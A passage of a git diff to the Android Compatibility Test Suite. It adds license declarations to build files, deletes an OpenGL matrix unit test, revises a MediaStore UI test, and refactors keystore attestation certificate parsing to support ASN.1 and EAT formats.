diff --git a/tests/mocking/Android.bp b/tests/mocking/Android.bp
index 2c000b3..7288500 100644
--- a/tests/mocking/Android.bp
+++ b/tests/mocking/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsMockingTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/mocking/OWNERS b/tests/mocking/OWNERS
index f3a43ea..9c61a53 100644
--- a/tests/mocking/OWNERS
+++ b/tests/mocking/OWNERS
@@ -1,2 +1 @@
 # Bug component: 85797
-moltmann@google.com
diff --git a/tests/mocking/debuggable/Android.bp b/tests/mocking/debuggable/Android.bp
index aa8cda7..cc38656 100644
--- a/tests/mocking/debuggable/Android.bp
+++ b/tests/mocking/debuggable/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsMockingDebuggableTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/mocking/debuggable/OWNERS b/tests/mocking/debuggable/OWNERS
index f3a43ea..9c61a53 100644
--- a/tests/mocking/debuggable/OWNERS
+++ b/tests/mocking/debuggable/OWNERS
@@ -1,2 +1 @@
 # Bug component: 85797
-moltmann@google.com
diff --git a/tests/mocking/extended/Android.bp b/tests/mocking/extended/Android.bp
index da3a33c..2ea11b3 100644
--- a/tests/mocking/extended/Android.bp
+++ b/tests/mocking/extended/Android.bp
@@ -15,6 +15,10 @@
 // NOTE: when converting this file to Android.bp, verify that
 // 'atest CtsExtendedMockingTestCases' succeeds.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsExtendedMockingTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/mocking/inline/Android.bp b/tests/mocking/inline/Android.bp
index 6a57df4..65588cd 100644
--- a/tests/mocking/inline/Android.bp
+++ b/tests/mocking/inline/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsInlineMockingTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/netlegacy22.permission/Android.bp b/tests/netlegacy22.permission/Android.bp
index 65948a6..86c17ae 100644
--- a/tests/netlegacy22.permission/Android.bp
+++ b/tests/netlegacy22.permission/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsNetTestCasesLegacyPermission22",
     defaults: ["cts_defaults"],
diff --git a/tests/netsecpolicy/Android.bp b/tests/netsecpolicy/Android.bp
index b54debb..42279f9 100644
--- a/tests/netsecpolicy/Android.bp
+++ b/tests/netsecpolicy/Android.bp
@@ -11,6 +11,10 @@
 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 // See the License for the specific language governing permissions and
 // limitations under the License.
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsNetSecPolicyUsesCleartextTrafficFalse",
     defaults: ["cts_support_defaults"],
diff --git a/tests/openglperf2/jni/Android.bp b/tests/openglperf2/jni/Android.bp
index e6a3a9a..bc4ef5e 100644
--- a/tests/openglperf2/jni/Android.bp
+++ b/tests/openglperf2/jni/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_library_shared {
     name: "libctsopengl_jni",
 
diff --git a/tests/openglperf2/test/Android.bp b/tests/openglperf2/test/Android.bp
deleted file mode 100644
index edddc6c..0000000
--- a/tests/openglperf2/test/Android.bp
+++ /dev/null
@@ -1,32 +0,0 @@
-//
-// Copyright (C) 2013 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-cc_test_host {
-    name: "cts_device_opengl_test",
-    srcs: ["MatrixTest.cpp"],
-    cflags: [
-        "-Wall",
-        "-Werror",
-    ],
-    static_libs: [
-        "libctsopengl_test",
-        "liblog",
-    ],
-    target: {
-        darwin: {
-            enabled: false,
-        },
-    },
-}
diff --git a/tests/openglperf2/test/MatrixTest.cpp b/tests/openglperf2/test/MatrixTest.cpp
deleted file mode 100644
index d78dfc4..0000000
--- a/tests/openglperf2/test/MatrixTest.cpp
+++ /dev/null
@@ -1,242 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#include <gtest/gtest.h>
-#include <math.h>
-
-#include "Matrix.h"
-
-class MatrixTest: public testing::Test {
-public:
-
-};
-
-void checkValues(const float* arr1, const float* arr2, const int size) {
-    for (int i = 0; i < size; i++) {
-        ASSERT_FLOAT_EQ(arr1[i], arr2[i]);
-    }
-}
-
-TEST(MatrixTest, matrixEqualityTest) {
-    // Create two identity matrixes.
-    Matrix m1;
-    Matrix m2;
-    // Change some random values.
-    m1.mData[4] = 9;
-    m2.mData[4] = 9;
-    // Check they are the same.
-    ASSERT_TRUE(m1.equals(m2));
-    Matrix* clone = new Matrix(m1);
-    ASSERT_TRUE(clone != NULL);
-    ASSERT_TRUE(m1.equals(*clone));
-    delete clone;
-}
-
-TEST(MatrixTest, matrixIdentityTest) {
-    // Create an identity matrix.
-    Matrix m;
-    float expected[] = {
-        1.0f, 0.0f, 0.0f, 0.0f,
-        0.0f, 1.0f, 0.0f, 0.0f,
-        0.0f, 0.0f, 1.0f, 0.0f,
-        0.0f, 0.0f, 0.0f, 1.0f};
-    // Check values
-    checkValues(m.mData, expected, Matrix::MATRIX_SIZE);
-}
-
-TEST(MatrixTest, matrixLoadWithTest) {
-    // Create a matrix.
-    Matrix m1;
-    float* d1 = m1.mData;
-    float data[Matrix::MATRIX_SIZE];
-
-    // Fill with rubbish
-    for (int i = 0; i < Matrix::MATRIX_SIZE; i++) {
-        d1[i] = i;
-        data[i] = i;
-    }
-
-    // Create another matrix
-    Matrix m2;
-
-    // Load second matrix with first
-    m2.loadWith(m1);
-
-    // Check values
-    checkValues(m2.mData, data, Matrix::MATRIX_SIZE);
-}
-
-TEST(MatrixTest, matrixTranslateTest) {
-    Matrix m1;
-    m1.translate(10, 5, 6);
-    Matrix* m2 = Matrix::newTranslate(10, 5, 6);
-    ASSERT_TRUE(m2 != NULL);
-    ASSERT_TRUE(m1.equals(*m2));
-    delete m2;
-}
-
-TEST(MatrixTest, matrixScaleTest) {
-    Matrix m1;
-    m1.scale(10, 5, 6);
-    Matrix* m2 = Matrix::newScale(10, 5, 6);
-    ASSERT_TRUE(m2 != NULL);
-    ASSERT_TRUE(m1.equals(*m2));
-    delete m2;
-}
-
-TEST(MatrixTest, matrixRotateTest) {
-    Matrix m1;
-    m1.rotate(180, 1, 0, 1);
-    Matrix* m2 = Matrix::newRotate(180, 1, 0, 1);
-    ASSERT_TRUE(m2 != NULL);
-    ASSERT_TRUE(m1.equals(*m2));
-    delete m2;
-}
-
-TEST(MatrixTest, matrixMultiplyTest) {
-    // Create three identity matrixes.
-    Matrix m1;
-    Matrix m2;
-    Matrix m3;
-    float* d1 = m1.mData;
-    float* d2 = m2.mData;
-
-    m3.multiply(m1, m2);
-    // Multiplication of identity matrixes should give identity
-    ASSERT_TRUE(m3.equals(m1));
-
-    // Fill with ascending numbers
-    for (int i = 0; i < Matrix::MATRIX_SIZE; i++) {
-        d1[i] = i;
-        d2[i] = i;
-    }
-    m3.multiply(m1, m2);
-
-    // Check against expected
-    float expected[] = {
-        56, 62, 68, 74,
-        152, 174, 196, 218,
-        248, 286, 324, 362,
-        344, 398, 452, 506};
-    checkValues(m3.mData, expected, Matrix::MATRIX_SIZE);
-}
-
-TEST(MatrixTest, matrixNewLookAtTest) {
-    // Position the eye in front of the origin.
-    float eyeX = 0.0f;
-    float eyeY = 0.0f;
-    float eyeZ = 6.0f;
-
-    // We are looking at the origin
-    float centerX = 0.0f;
-    float centerY = 0.0f;
-    float centerZ = 0.0f;
-
-    // Set our up vector. This is where our head would be pointing were we holding the camera.
-    float upX = 0.0f;
-    float upY = 1.0f;
-    float upZ = 0.0f;
-
-    // Set the view matrix. This matrix can be said to represent the camera position.
-    Matrix* m = Matrix::newLookAt(eyeX, eyeY, eyeZ, centerX, centerY, centerZ,
-            upX, upY, upZ);
-    ASSERT_TRUE(m != NULL);
-    float expected[] = {
-        1.0f, 0.0f, 0.0f, 0.0f,
-        0.0f, 1.0f, 0.0f, 0.0f,
-        0.0f, 0.0f, 1.0f, 0.0f,
-        0.0f, 0.0f, -6.0f, 1.0f};
-    // Check values
-    checkValues(m->mData, expected, Matrix::MATRIX_SIZE);
-    delete m;
-}
-
-TEST(MatrixTest, matrixNewFrustumTest) {
-    float ratio = (float) 800 / 600;
-    float left = -ratio;
-    float right = ratio;
-    float bottom = -1.0f;
-    float top = 1.0f;
-    float near = 1.0f;
-    float far = 8.0f;
-
-    Matrix* m = Matrix::newFrustum(left, right, bottom, top, near, far);
-    ASSERT_TRUE(m != NULL);
-    float expected[] = {
-        0.75f, 0.0f, 0.0f, 0.0f,
-        0.0f, 1.0f, 0.0f, 0.0f,
-        0.0f, 0.0f, 9.0f / -7.0f, -1.0f,
-        0.0f, 0.0f, 16.0f / -7.0f, 0.0f};
-    // Check values
-    checkValues(m->mData, expected, Matrix::MATRIX_SIZE);
-    delete m;
-}
-
-TEST(MatrixTest, matrixNewTranslateTest) {
-    Matrix* m = Matrix::newTranslate(5, 6, 8);
-    ASSERT_TRUE(m != NULL);
-    float expected[] = {
-        1.0f, 0.0f, 0.0f, 0.0f,
-        0.0f, 1.0f, 0.0f, 0.0f,
-        0.0f, 0.0f, 1.0f, 0.0f,
-        5.0f, 6.0f, 8.0f, 1.0f};
-    // Check values
-    checkValues(m->mData, expected, Matrix::MATRIX_SIZE);
-    delete m;
-}
-
-TEST(MatrixTest, matrixNewScaleTest) {
-    Matrix* m = Matrix::newScale(3, 7, 2);
-    ASSERT_TRUE(m != NULL);
-    float expected[] = {
-        3.0f, 0.0f, 0.0f, 0.0f,
-        0.0f, 7.0f, 0.0f, 0.0f,
-        0.0f, 0.0f, 2.0f, 0.0f,
-        0.0f, 0.0f, 0.0f, 1.0f};
-    // Check values
-    checkValues(m->mData, expected, Matrix::MATRIX_SIZE);
-    delete m;
-}
-
-TEST(MatrixTest, matrixNewRotateTest) {
-    Matrix* m = Matrix::newRotate(45.0f, 0.0f, 1.0f, 0.0f);
-    ASSERT_TRUE(m != NULL);
-    float radians = 45.0f * (M_PI / 180.0f);
-    float sin = sinf(radians);
-    float cos = cosf(radians);
-    float expected[] = {
-        cos, 0.0f, -sin, 0.0f,
-        0.0f, 1.0f, 0.0f, 0.0f,
-        sin, 0.0f, cos, 0.0f,
-        0.0f, 0.0f, 0.0f, 1.0f};
-    // Check values
-    checkValues(m->mData, expected, Matrix::MATRIX_SIZE);
-    delete m;
-}
-
-TEST(MatrixTest, matrixMultiplyVectorTest) {
-    float in[] = {2, 4, 6, 8};
-    float out[4];
-    Matrix m;
-    float* d = m.mData;
-    // Fill with rubbish
-    for (int i = 0; i < Matrix::MATRIX_SIZE; i++) {
-        d[i] = i;
-    }
-    float expected[] = {40, 120, 200, 280};
-    Matrix::multiplyVector(out, m, in);
-    checkValues(out, expected, 4);
-}
diff --git a/tests/pdf/Android.bp b/tests/pdf/Android.bp
index 66f91d5..8499f71 100644
--- a/tests/pdf/Android.bp
+++ b/tests/pdf/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsPdfTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/pdf/OWNERS b/tests/pdf/OWNERS
index 81cf137..76e4746 100644
--- a/tests/pdf/OWNERS
+++ b/tests/pdf/OWNERS
@@ -1,2 +1 @@
 # Bug component: 47273
-moltmann@google.com
diff --git a/tests/providerui/Android.bp b/tests/providerui/Android.bp
index fbb2e0e..4556ca8 100644
--- a/tests/providerui/Android.bp
+++ b/tests/providerui/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsProviderUiTestCases",
     defaults: ["cts_defaults"],
@@ -26,7 +30,8 @@
         "junit",
         "androidx.legacy_legacy-support-v4",
     ],
-    srcs: ["src/**/*.java"],
+    srcs: ["src/**/*.java",
+           ":CtsProviderTestUtils"],
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
diff --git a/tests/providerui/AndroidTest.xml b/tests/providerui/AndroidTest.xml
index 9ef1d6c..ce8043d 100644
--- a/tests/providerui/AndroidTest.xml
+++ b/tests/providerui/AndroidTest.xml
@@ -19,6 +19,7 @@
     <!-- Instant apps cannot access external storage -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsProviderUiTestCases.apk" />
diff --git a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
index 1be5e10..49876de 100644
--- a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
+++ b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
@@ -19,6 +19,7 @@
 import static org.junit.Assert.assertArrayEquals;
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
 import android.app.Activity;
@@ -38,12 +39,17 @@
 import android.os.storage.StorageManager;
 import android.os.storage.StorageVolume;
 import android.os.UserManager;
+import android.provider.DocumentsContract;
 import android.provider.MediaStore;
+import android.provider.cts.ProviderTestUtils;
 import android.providerui.cts.GetResultActivity.Result;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject;
 import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.UiSelector;
 import android.support.test.uiautomator.Until;
 import android.system.Os;
 import android.text.format.DateUtils;
@@ -75,6 +81,7 @@
     private static final String TAG = "MediaStoreUiTest";
 
     private static final int REQUEST_CODE = 42;
+    private static final long TIMEOUT_MILLIS = 30 * DateUtils.SECOND_IN_MILLIS;
 
     private Instrumentation mInstrumentation;
     private Context mContext;
@@ -90,7 +97,7 @@
 
     @Parameters
     public static Iterable<? extends Object> data() {
-        return MediaStore.getExternalVolumeNames(InstrumentationRegistry.getTargetContext());
+        return ProviderTestUtils.getSharedVolumeNames();
     }
 
     @Before
@@ -209,31 +216,43 @@
         Log.v(TAG, "Staged " + mFile + " as " + mMediaStoreUri);
     }
 
-    private Uri acquireAccess(File file, String directoryName) {
+    private void assertToolbarTitleEquals(String targetPackageName, String label)
+            throws UiObjectNotFoundException {
+        final UiSelector toolbarUiSelector = new UiSelector().resourceId(
+                targetPackageName + ":id/toolbar");
+        final UiSelector titleTextSelector = new UiSelector().className(
+                "android.widget.TextView").text(label);
+        final UiObject title = new UiObject(toolbarUiSelector.childSelector(titleTextSelector));
+
+        assertTrue(title.waitForExists(TIMEOUT_MILLIS));
+    }
+
+    private Uri acquireAccess(File file, String directoryName) throws Exception {
         StorageManager storageManager =
                 (StorageManager) mActivity.getSystemService(Context.STORAGE_SERVICE);
 
         // Request access from DocumentsUI
         final StorageVolume volume = storageManager.getStorageVolume(file);
         final Intent intent = volume.createOpenDocumentTreeIntent();
+
+        // launch the directory directly to avoid unexpected UiObject not found issue
+        final Uri rootUri = intent.getParcelableExtra(DocumentsContract.EXTRA_INITIAL_URI);
+        final String rootId = DocumentsContract.getRootId(rootUri);
+        final String documentId = rootId + ":" + directoryName;
+        intent.putExtra(DocumentsContract.EXTRA_INITIAL_URI,
+                DocumentsContract.buildDocumentUri(rootUri.getAuthority(), documentId));
         mActivity.startActivityForResult(intent, REQUEST_CODE);
 
         if (mTargetPackageName == null) {
             mTargetPackageName = getTargetPackageName(mActivity);
         }
-
-        // We started at the root of the storage device, and need to navigate
-        // into the requested directory
-        final BySelector directorySelector = By.pkg(mTargetPackageName)
-                .text(directoryName);
-        mDevice.wait(Until.hasObject(directorySelector), 30 * DateUtils.SECOND_IN_MILLIS);
-        mDevice.findObject(directorySelector).click();
         mDevice.waitForIdle();
+        assertToolbarTitleEquals(mTargetPackageName, directoryName);
 
         // Granting the access
         BySelector buttonPanelSelector = By.pkg(mTargetPackageName)
                 .res(mTargetPackageName + ":id/container_save");
-        mDevice.wait(Until.hasObject(buttonPanelSelector), 30 * DateUtils.SECOND_IN_MILLIS);
+        mDevice.wait(Until.hasObject(buttonPanelSelector), TIMEOUT_MILLIS);
         final UiObject2 buttonPanel = mDevice.findObject(buttonPanelSelector);
         final UiObject2 allowButton = buttonPanel.findObject(By.res("android:id/button1"));
         allowButton.click();
@@ -242,7 +261,7 @@
         // Granting the access by click "allow" in confirm dialog
         final BySelector dialogButtonPanelSelector = By.pkg(mTargetPackageName)
                 .res(mTargetPackageName + ":id/buttonPanel");
-        mDevice.wait(Until.hasObject(dialogButtonPanelSelector), 30 * DateUtils.SECOND_IN_MILLIS);
+        mDevice.wait(Until.hasObject(dialogButtonPanelSelector), TIMEOUT_MILLIS);
         final UiObject2 positiveButton = mDevice.findObject(dialogButtonPanelSelector)
                 .findObject(By.res("android:id/button1"));
         positiveButton.click();
@@ -256,7 +275,7 @@
         final Uri resultUri = resultIntent.getData();
         final int flags = resultIntent.getFlags()
                 & (Intent.FLAG_GRANT_READ_URI_PERMISSION
-                    | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+                | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
         mActivity.getContentResolver().takePersistableUriPermission(resultUri, flags);
         return resultUri;
     }
diff --git a/tests/quickaccesswallet/Android.bp b/tests/quickaccesswallet/Android.bp
index 1572e69..14c79f3 100644
--- a/tests/quickaccesswallet/Android.bp
+++ b/tests/quickaccesswallet/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsQuickAccessWalletTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/rollback/Android.bp b/tests/rollback/Android.bp
index 3b3e617..63e33c9 100644
--- a/tests/rollback/Android.bp
+++ b/tests/rollback/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsRollbackManagerTestCases",
     srcs: ["src/**/*.java"],
diff --git a/tests/sample/Android.bp b/tests/sample/Android.bp
index d2c02da..bb4eaa2 100644
--- a/tests/sample/Android.bp
+++ b/tests/sample/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsSampleDeviceTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/security/Android.bp b/tests/security/Android.bp
index d9786a8..018598d 100644
--- a/tests/security/Android.bp
+++ b/tests/security/Android.bp
@@ -12,11 +12,16 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "cts-security-test-support-library",
     static_libs: [
         "bouncycastle-unbundled",
         "bouncycastle-bcpkix-unbundled",
+        "cbor-java",
         "guava",
         "truth-prebuilt",
         "testng",
diff --git a/tests/security/src/android/keystore/cts/Asn1Attestation.java b/tests/security/src/android/keystore/cts/Asn1Attestation.java
new file mode 100644
index 0000000..232a230
--- /dev/null
+++ b/tests/security/src/android/keystore/cts/Asn1Attestation.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts;
+
+import org.bouncycastle.asn1.ASN1Sequence;
+
+import java.security.cert.CertificateParsingException;
+import java.security.cert.X509Certificate;
+
+public class Asn1Attestation extends Attestation {
+    static final int ATTESTATION_VERSION_INDEX = 0;
+    static final int ATTESTATION_SECURITY_LEVEL_INDEX = 1;
+    static final int KEYMASTER_VERSION_INDEX = 2;
+    static final int KEYMASTER_SECURITY_LEVEL_INDEX = 3;
+    static final int ATTESTATION_CHALLENGE_INDEX = 4;
+    static final int UNIQUE_ID_INDEX = 5;
+    static final int SW_ENFORCED_INDEX = 6;
+    static final int TEE_ENFORCED_INDEX = 7;
+
+    int attestationSecurityLevel;
+
+    /**
+     * Constructs an {@code Asn1Attestation} object from the provided {@link X509Certificate},
+     * extracting the attestation data from the attestation extension.
+     *
+     * @throws CertificateParsingException if the certificate does not contain a properly-formatted
+     *     attestation extension.
+     */
+
+    public Asn1Attestation(X509Certificate x509Cert) throws CertificateParsingException {
+        this(x509Cert, true);
+    }
+
+    public Asn1Attestation(X509Certificate x509Cert, boolean strictParsing)
+            throws CertificateParsingException {
+        super(x509Cert);
+        ASN1Sequence seq = getAttestationSequence(x509Cert);
+
+        attestationVersion =
+                Asn1Utils.getIntegerFromAsn1(seq.getObjectAt(ATTESTATION_VERSION_INDEX));
+        attestationSecurityLevel =
+                Asn1Utils.getIntegerFromAsn1(seq.getObjectAt(ATTESTATION_SECURITY_LEVEL_INDEX));
+        keymasterVersion = Asn1Utils.getIntegerFromAsn1(seq.getObjectAt(KEYMASTER_VERSION_INDEX));
+        keymasterSecurityLevel =
+                Asn1Utils.getIntegerFromAsn1(seq.getObjectAt(KEYMASTER_SECURITY_LEVEL_INDEX));
+
+        attestationChallenge =
+                Asn1Utils.getByteArrayFromAsn1(seq.getObjectAt(ATTESTATION_CHALLENGE_INDEX));
+
+        uniqueId = Asn1Utils.getByteArrayFromAsn1(seq.getObjectAt(UNIQUE_ID_INDEX));
+
+        softwareEnforced = new AuthorizationList(seq.getObjectAt(SW_ENFORCED_INDEX), strictParsing);
+        teeEnforced = new AuthorizationList(seq.getObjectAt(TEE_ENFORCED_INDEX), strictParsing);
+    }
+
+    ASN1Sequence getAttestationSequence(X509Certificate x509Cert)
+            throws CertificateParsingException {
+        byte[] attestationExtensionBytes = x509Cert.getExtensionValue(Attestation.ASN1_OID);
+        if (attestationExtensionBytes == null || attestationExtensionBytes.length == 0) {
+            throw new CertificateParsingException("Did not find extension with OID " + ASN1_OID);
+        }
+        return Asn1Utils.getAsn1SequenceFromBytes(attestationExtensionBytes);
+    }
+
+    public int getAttestationSecurityLevel() {
+        return attestationSecurityLevel;
+    }
+
+    public RootOfTrust getRootOfTrust() {
+        return teeEnforced.getRootOfTrust();
+    }
+}
diff --git a/tests/security/src/android/keystore/cts/Asn1Utils.java b/tests/security/src/android/keystore/cts/Asn1Utils.java
index 9586651..933def8 100644
--- a/tests/security/src/android/keystore/cts/Asn1Utils.java
+++ b/tests/security/src/android/keystore/cts/Asn1Utils.java
@@ -137,15 +137,26 @@
 
     public static boolean getBooleanFromAsn1(ASN1Encodable value)
             throws CertificateParsingException {
+        return getBooleanFromAsn1(value, true);
+    }
+
+    public static boolean getBooleanFromAsn1(ASN1Encodable value, boolean strictParsing)
+            throws CertificateParsingException {
         if (!(value instanceof ASN1Boolean)) {
             throw new CertificateParsingException(
                     "Expected boolean, found " + value.getClass().getName());
         }
         ASN1Boolean booleanValue = (ASN1Boolean) value;
+
         if (booleanValue.equals(ASN1Boolean.TRUE)) {
             return true;
         } else if (booleanValue.equals((ASN1Boolean.FALSE))) {
             return false;
+        } else if (!strictParsing) {
+            // Value is not 0xFF nor 0x00, but some other non-zero value.
+            // This is invalid DER, but if we're not being strict,
+            // consider it true, otherwise fall through and throw exception
+            return true;
         }
 
         throw new CertificateParsingException(
diff --git a/tests/security/src/android/keystore/cts/Attestation.java b/tests/security/src/android/keystore/cts/Attestation.java
index 2285cad..e9ff0d2 100644
--- a/tests/security/src/android/keystore/cts/Attestation.java
+++ b/tests/security/src/android/keystore/cts/Attestation.java
@@ -16,71 +16,74 @@
 
 package android.keystore.cts;
 
+import co.nstant.in.cbor.CborException;
+
 import com.google.common.base.CharMatcher;
 import com.google.common.collect.ImmutableSet;
 import com.google.common.io.BaseEncoding;
 
-import org.bouncycastle.asn1.ASN1Sequence;
-
 import java.security.cert.CertificateParsingException;
 import java.security.cert.X509Certificate;
 import java.util.Set;
-import java.util.stream.Collectors;
 
 /**
  * Parses an attestation certificate and provides an easy-to-use interface for examining the
  * contents.
  */
-public class Attestation {
-    static final String KEY_DESCRIPTION_OID = "1.3.6.1.4.1.11129.2.1.17";
-    static final String KEY_USAGE_OID = "2.5.29.15";  // Standard key usage extension.
-    static final int ATTESTATION_VERSION_INDEX = 0;
-    static final int ATTESTATION_SECURITY_LEVEL_INDEX = 1;
-    static final int KEYMASTER_VERSION_INDEX = 2;
-    static final int KEYMASTER_SECURITY_LEVEL_INDEX = 3;
-    static final int ATTESTATION_CHALLENGE_INDEX = 4;
-    static final int UNIQUE_ID_INDEX = 5;
-    static final int SW_ENFORCED_INDEX = 6;
-    static final int TEE_ENFORCED_INDEX = 7;
+public abstract class Attestation {
+    static final String EAT_OID = "1.3.6.1.4.1.11129.2.1.25";
+    static final String ASN1_OID = "1.3.6.1.4.1.11129.2.1.17";
+    static final String KEY_USAGE_OID = "2.5.29.15"; // Standard key usage extension.
 
     public static final int KM_SECURITY_LEVEL_SOFTWARE = 0;
     public static final int KM_SECURITY_LEVEL_TRUSTED_ENVIRONMENT = 1;
     public static final int KM_SECURITY_LEVEL_STRONG_BOX = 2;
 
-    private final int attestationVersion;
-    private final int attestationSecurityLevel;
-    private final int keymasterVersion;
-    private final int keymasterSecurityLevel;
-    private final byte[] attestationChallenge;
-    private final byte[] uniqueId;
-    private final AuthorizationList softwareEnforced;
-    private final AuthorizationList teeEnforced;
-    private final Set<String> unexpectedExtensionOids;
-
+    int attestationVersion;
+    int keymasterVersion;
+    int keymasterSecurityLevel;
+    byte[] attestationChallenge;
+    byte[] uniqueId;
+    AuthorizationList softwareEnforced;
+    AuthorizationList teeEnforced;
+    Set<String> unexpectedExtensionOids;
 
     /**
      * Constructs an {@code Attestation} object from the provided {@link X509Certificate},
      * extracting the attestation data from the attestation extension.
      *
+     * <p>This method ensures that at most one attestation extension is included in the certificate.
+     *
      * @throws CertificateParsingException if the certificate does not contain a properly-formatted
-     *                                     attestation extension.
+     *     attestation extension, if it contains multiple attestation extensions, or if the
+     *     attestation extension can not be parsed.
      */
-    public Attestation(X509Certificate x509Cert) throws CertificateParsingException {
-        ASN1Sequence seq = getAttestationSequence(x509Cert);
+
+    public static Attestation loadFromCertificate(X509Certificate x509Cert)
+            throws CertificateParsingException {
+        return Attestation.loadFromCertificate(x509Cert, true);
+    }
+    public static Attestation loadFromCertificate(X509Certificate x509Cert, boolean strictParsing)
+            throws CertificateParsingException {
+        if (x509Cert.getExtensionValue(EAT_OID) == null
+                && x509Cert.getExtensionValue(ASN1_OID) == null) {
+            throw new CertificateParsingException("No attestation extensions found");
+        }
+        if (x509Cert.getExtensionValue(EAT_OID) != null) {
+            if (x509Cert.getExtensionValue(ASN1_OID) != null) {
+                throw new CertificateParsingException("Multiple attestation extensions found");
+            }
+            try {
+                return new EatAttestation(x509Cert);
+            } catch (CborException cbe) {
+                throw new CertificateParsingException("Unable to parse EAT extension", cbe);
+            }
+        }
+        return new Asn1Attestation(x509Cert, strictParsing);
+    }
+
+    Attestation(X509Certificate x509Cert) {
         unexpectedExtensionOids = retrieveUnexpectedExtensionOids(x509Cert);
-
-        attestationVersion = Asn1Utils.getIntegerFromAsn1(seq.getObjectAt(ATTESTATION_VERSION_INDEX));
-        attestationSecurityLevel = Asn1Utils.getIntegerFromAsn1(seq.getObjectAt(ATTESTATION_SECURITY_LEVEL_INDEX));
-        keymasterVersion = Asn1Utils.getIntegerFromAsn1(seq.getObjectAt(KEYMASTER_VERSION_INDEX));
-        keymasterSecurityLevel = Asn1Utils.getIntegerFromAsn1(seq.getObjectAt(KEYMASTER_SECURITY_LEVEL_INDEX));
-
